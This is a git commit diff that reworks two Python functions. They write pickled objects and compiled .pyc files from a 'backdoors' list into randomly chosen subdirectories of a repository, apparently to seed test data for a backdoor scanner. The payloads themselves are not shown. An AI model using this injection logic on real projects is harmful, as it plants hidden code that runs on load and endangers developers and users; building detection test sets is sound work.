fix: fix pickle and pyc inject code

This commit is contained in:
sangge-redmi 2024-06-04 14:14:01 +08:00
parent 5aafb1c24f
commit 3f6375977c

View File

@ -145,28 +145,37 @@ backdoors = [
]
def inject_pickle_backdoor(path: str) -> None:
def inject_pickle_backdoor(root_path: str) -> None:
"""
Generate a pickle backdoor and insert it into the specified path.
Args:
path (str): The path to the repository to insert the backdoor into.
"""
for i, backdoor in enumerate(backdoors):
filename = os.path.join(path, f"backdoor{i}.pickle")
all_path = [str(p) for p in Path(root_path).glob("*") if p.is_dir()]
paths = random.sample(all_path, random.randrange(1, len(all_path)))
for path in paths:
backdoor_id = random.randrange(0, len(backdoors))
backdoor = backdoors[backdoor_id]
filename = os.path.join(path, f"backdoor{backdoor_id}.pickle")
with open(filename, "wb") as f:
pickle.dump(backdoor, f)
def inject_pyc_backdoor(path: str) -> None:
def inject_pyc_backdoor(root_path: str) -> None:
"""
Generate a pyc backdoor and insert it into the specified path.
Args:
path (str): The path to the repository to insert the backdoor into.
"""
for i, backdoor in enumerate(backdoors):
filename = os.path.join(path, f"backdoor{i}.pyc")
all_path = [str(p) for p in Path(root_path).glob("*") if p.is_dir()]
paths = random.sample(all_path, random.randrange(1, len(all_path)))
for path in paths:
backdoor_id = random.randrange(0, len(backdoors))
backdoor = backdoors[backdoor_id]
filename = os.path.join(path, f"backdoor{backdoor_id}.pyc")
# Compile the string to a code object
code = compile(backdoor, filename, "exec")